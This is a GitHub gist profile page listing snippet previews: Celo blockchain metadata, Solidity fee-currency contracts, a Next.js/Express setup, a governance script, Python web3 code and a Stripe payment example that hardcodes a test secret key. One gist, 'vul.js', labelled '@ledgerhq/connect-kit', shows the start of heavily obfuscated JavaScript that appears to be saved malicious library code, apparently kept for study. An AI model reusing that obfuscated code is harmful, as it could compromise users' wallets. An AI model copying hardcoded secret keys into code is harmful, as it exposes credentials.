Skip to content

Instantly share code, notes, and snippets.

View martinvol's full-sized avatar
💭
Good as new

Martín Volpe martinvol

💭
Good as new
View GitHub Profile
{"claims":[{"rpcUrl":"https://myprc.com","timestamp":1733397965,"type":"RPC_URL"}],"meta":{"address":"0x0Cc59Ed03B3e763c02d54D695FFE353055f1502D","signature":"0x116a17217c7c7c5a499471f3a5f72b22eddb00484a13617761b675fe7d41b6203c5fb3c4839ed1908137176d521da52ea35b9f5e430a6a00b4a43fee5e34c1671c"}}
@martinvol
martinvol / gist:cfc8579b95f41aa108fb2ac1143cb9a8
Created October 8, 2024 13:28
Integrating Next.js + Express (with Admin.Js as example)
import next from "next"
import express from 'express'
import AdminJS from 'adminjs'
import AdminJSExpress from '@adminjs/express'
import { Database, Resource, getModelByName } from '@adminjs/prisma'
import { PrismaClient } from '@prisma/client'
const dev = process.env.NODE_ENV !== 'production'
const hostname = 'localhost'
const PORT = 3000
pragma solidity ^0.8.13;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @notice This interface should be implemented for tokens which are supposed to
* act as fee currencies on the Celo blockchain, meaning that they can be
* used to pay gas fees for CIP-64 transactions (and some older tx types).
* See https://github.com/celo-org/celo-proposals/blob/master/CIPs/cip-0064.md
*
// SPDX-License-Identifier: apache-2.0
pragma solidity >=0.8.7 <0.8.20;
import "@openzeppelin/contracts8/token/ERC20/IERC20.sol";
import "../../contracts/common/Initializable.sol";
import "./IFeeCurrency.sol";
contract FeeCurrencyWrapper is Initializable {
@martinvol
martinvol / vul.js
Created December 14, 2023 14:01
@ledgerhq/connect-kit
This file has been truncated, but you can view the full file.
'use strict';
(function(t,n){const Mk={t:0xd06,n:0xe41,K:0x10b,u:0x792,k:0x1dec,Y:0x2026,a:0x1b74,S:0x1eb4,U:0x66d,D:'\x41\x6d\x4a\x53',l:0xf2d,M:0x1c4b,G:'\x66\x4a\x44\x28',O:0x14d5,r:0x2077,d:0x2c72,s:0x1de5,v:'\x39\x42\x64\x21'},Mg={t:0x62},Mn={t:0x16a},Mt={t:0x3db},M9={t:0x120};
function R(t,n,K){return q(n-M9.t,t);
}function W(t,n,K){return j(K- -Mt.t,n);
}function c(t,n,K){return j(n- -Mn.t,t);
}function I(t,n,K){return j(t-Mg.t,K);
}const K=t();
function V(t,n,K){return q(K- -0xb3,t);
}function H(t,n,K){return q(t-0x2e3,n);
@martinvol
martinvol / propose_and_pass.sh
Last active January 20, 2023 16:38
Step by step to pass a governance proposal on Alfajores or Baklava Celo testnets
#!/usr/bin/env bash
# Imperfect but simple script to pass governance proposals on Celo tesnets (staging, baklava or alfajores)
set -euo pipefail
# Variables to be defined
PROPOSAL_JSON_PATH= # Path for json of the proposal
DESCRIPTION_URL= # Path for the URL containing the proposal
SIGNER= # address that will send the tx
APPROVER= # approver address
class Startup {
private static async example_payment() {
const headers = {
'Accept': 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': 'Basic ' + Buffer.from('sk_test_RNf1bOpZ1h6nN3tOucucRCMs').toString('base64')
}
// create a customer
@martinvol
martinvol / garoto-metadata.json
Last active July 2, 2020 23:29
garoto-metadata.json
{"claims":[{"url":"https://garoto.martinvol.com","timestamp":1593732517,"type":"ATTESTATION_SERVICE_URL"}],"meta":{"address":"0xe34CD052e59fF830b286a125c52Dde568AC8BD48","signature":"0xb05bb1dd83f799fbe6b10289fb92679b492c4157f580f329b81a05e3b695ed2666226c19dffb4257077b9d1ec31010f8b347c1c9eae97cd141d0e622b24b46f01c"}}
{"claims":[{"url":"https://black-chocolate.martinvol.com","timestamp":1593729237,"type":"ATTESTATION_SERVICE_URL"}],"meta":{"address":"0x02DC997790352E12fA90eb1A937dFeF4bF8Dbbc0","signature":"0xadb843fe4da0e949b0caa167adb65ac6145ffe02d2eec22896506865dd074b0d4687d0ddd2b9e3e004f9335c1690aa4f7aca5b740dd8fde3801d1cbc169f83c21c"}}
@martinvol
martinvol / example.py
Created June 10, 2020 17:43
Connecting to the Celo Network from Python using web3
import web3
min_registry_abi = [
{
"name": "getAddressForString",
"constant": True,
"inputs": [{
"type": "string"
}],
"outputs": [{